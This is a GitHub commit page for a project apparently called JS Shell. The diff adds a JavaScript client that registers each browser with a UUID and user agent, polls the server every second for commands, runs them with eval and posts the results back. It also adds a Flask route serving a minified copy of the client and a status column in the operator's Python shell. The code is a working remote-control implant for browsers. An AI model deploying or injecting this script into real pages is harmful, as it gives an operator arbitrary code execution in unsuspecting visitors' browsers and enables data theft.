Skip to content

Commit

Permalink
Merge pull request #5 from Den1al/develop
Browse files Browse the repository at this point in the history
added status column in shell, moved js from the html, added uglified version
  • Loading branch information
Den1al authored Mar 8, 2017
2 parents 9680ef9 + 8836605 commit 70a2f99
Show file tree
Hide file tree
Showing 5 changed files with 122 additions and 134 deletions.
105 changes: 105 additions & 0 deletions app/static/js/jss.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,105 @@
! function foo(config) {

/* Eval Context */
this.context = {};

/* Logging functions */
this.log = function (text) {
if (config["debug"]) {
console.log("debug: ", text)
}
};
this.err = function (errText) {
console.log("error: ", errText)
};

/* get a unique identifier */
this.getUUID = function () {
function s4() { return Math.floor((1 + Math.random()) * 0x10000).toString(16).substring(1); }
return s4() + s4() + '-' + s4() + '-' + s4() + '-' + s4() + '-' + s4() + s4() + s4();
};

/* register as a new client */
this.register = function () {
var formData = {
'uuid': getUUID(),
'user_agent' : navigator.userAgent
};

$.ajax({
url: "/register/",
type: "POST",
data: formData,
success: function (data, textStatus, jqXHR) {
log(data);
},
error: function (jqXHR, textStatus, errorThrown) {
err(textStatus);
}
});

this.id = formData['uuid'];
};

/* fetch a new command from the command queue */
this.getCommand = function() {

$.ajax({
url: "/get_command/" + this.id,
type: "GET",
dataType: 'json',
context: this,
success: function (data, textStatus, jqXHR) {
if (!('error' in data ) && ('success' in data))
{
var cmd = data['success'];
var cmd_id = data['cmd_id'];
this.exec(cmd, cmd_id);
}
log(data);
},
error: function (jqXHR, textStatus, errorThrown) {
err(textStatus);
}
})
};

/* executes a command in the eval context */
this.exec = function(cmd, cmd_id) {
try
{
var out = eval.call(this.context, cmd);
var js = JSON.prune(out);

//var out = JSON.stringify(eval(cmd));
this.postBack({'output' : js, 'cmd_id' : cmd_id, 'uuid' : this.id});
}
catch(err)
{
this.postBack({'output' : err.message, 'cmd_id' : cmd_id, 'uuid' : this.id});
}
};

/* when a command has finished executing, post it back to the server */
this.postBack = function(data) {

$.ajax({
url: "/post_back/",
type: "POST",
data: data,
success: function (data, textStatus, jqXHR) {
log(data);
},
error: function (jqXHR, textStatus, errorThrown) {
err(errorThrown);
}
});
};

/* Main */
this.register();
setInterval(this.getCommand, 1000);

}({
'debug' : true
});
1 change: 1 addition & 0 deletions app/static/js/ugly.js

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

131 changes: 2 additions & 129 deletions app/templates/index.html
Original file line number Diff line number Diff line change
Expand Up @@ -10,135 +10,8 @@

<code>var s = "jsshell_client";</code>

<!-- Shell Body -->

<script>
! function foo(config) {

/* Eval Context */
this.context = {};

/* Logging functions */
this.log = function (text) {
if (config["debug"]) {
console.log("debug: ", text)
}
};
this.err = function (errText) {
console.log("error: ", errText)
};

/* get a unique identifier */
this.getUUID = function () {
function s4() {
return Math.floor((1 + Math.random()) * 0x10000).toString(16).substring(1);
}
return s4() + s4() + '-' + s4() + '-' + s4() + '-' + s4() + '-' + s4() + s4() + s4();
};

/* register as a new client */
this.register = function () {
var formData = {
'uuid': getUUID(),
'user_agent' : navigator.userAgent
};

$.ajax({
url: "/register/",
type: "POST",
data: formData,
success: function (data, textStatus, jqXHR) {
log(data);
//log(textStatus);
//log(jqXHR);
},
error: function (jqXHR, textStatus, errorThrown) {
//err(jqXHR);
err(textStatus);
//err(errorThrown);
}
});

this.id = formData['uuid'];
};

/* fetch a new command from the command queue */
this.getCommand = function() {

$.ajax({
url: "/get_command/" + this.id,
type: "GET",
dataType: 'json',
context: this,
success: function (data, textStatus, jqXHR) {

if (!('error' in data ) && ('success' in data))
{
var cmd = data['success'];
var cmd_id = data['cmd_id'];
this.exec(cmd, cmd_id);
}

log(data);
//log(textStatus);
//log(jqXHR);
},
error: function (jqXHR, textStatus, errorThrown) {
//err(jqXHR);
err(textStatus);
//err(errorThrown);
}

})
};

/* executes a command in the eval context */
this.exec = function(cmd, cmd_id) {
try
{
var out = eval.call(this.context, cmd);
var js = JSON.prune(out);

//var out = JSON.stringify(eval(cmd));
this.postBack({'output' : js, 'cmd_id' : cmd_id, 'uuid' : this.id});
}
catch(err)
{
this.postBack({'output' : err.message, 'cmd_id' : cmd_id, 'uuid' : this.id});
}
};

/* when a command has finished executing, post it back to the server */
this.postBack = function(data) {

$.ajax({
url: "/post_back/",
type: "POST",
data: data,
success: function (data, textStatus, jqXHR) {
log(data);
//log(textStatus);
//log(jqXHR);
},
error: function (jqXHR, textStatus, errorThrown) {
//err(jqXHR);
//err(textStatus);
err(errorThrown);
}
});
};

/* Main */
this.register();
setInterval(this.getCommand, 1000);

}({
'debug' : true
});

</script>

<!-- End Shell Body -->
<!-- JS Shell -->
<script src="{{ url_for('static', filename='js/ugly.js') }}"></script>

</body>
</html>
5 changes: 4 additions & 1 deletion app/views.py
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
from flask import url_for, redirect, render_template, request
from flask import render_template, request, send_from_directory
from app import app, db
from .models import Client, Command
from .preflight_scripts import pf_scripts
Expand Down Expand Up @@ -67,3 +67,6 @@ def post_back():

return '200'

@app.route('/jss')
def get_js_file():
return send_from_directory('static', filename='js/ugly.js')
14 changes: 10 additions & 4 deletions shell.py
Original file line number Diff line number Diff line change
@@ -1,7 +1,6 @@
from app import app, db
from app.models import Client, Command
from prettytable import PrettyTable
# from threading import Thread
from time import sleep
from jsbeautifier import beautify

Expand Down Expand Up @@ -96,7 +95,7 @@ def display_commands(self, com_id = None):

return

t = PrettyTable(['ID', 'Command', 'Output'])
t = PrettyTable(['ID', 'Status', 'Command', 'Output'])
t.align = 'l'
client = Client.query.filter_by(id=self.current_client_id).first()
for com in client.commands:
Expand All @@ -107,7 +106,15 @@ def display_commands(self, com_id = None):
if len(com.cmd) > 75:
command = com.cmd[:73] + '...'

t.add_row([com.id, command, output])
status = "waiting"

if com.is_served:
status = "served"

if com.is_returned:
status = "complete"

t.add_row([com.id, status, command, output])

print(t)

Expand Down Expand Up @@ -163,7 +170,6 @@ def loop(self):
if op == 'exit':
print('Goodbye!')
self.stay = False
# t.join()

elif op == 'help':
self.help_menu()
Expand Down

0 comments on commit 70a2f99

Please sign in to comment.